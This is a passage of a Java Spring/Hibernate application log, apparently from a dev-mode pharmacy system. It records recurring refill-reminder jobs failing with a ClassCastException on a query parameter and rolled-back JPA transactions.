org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 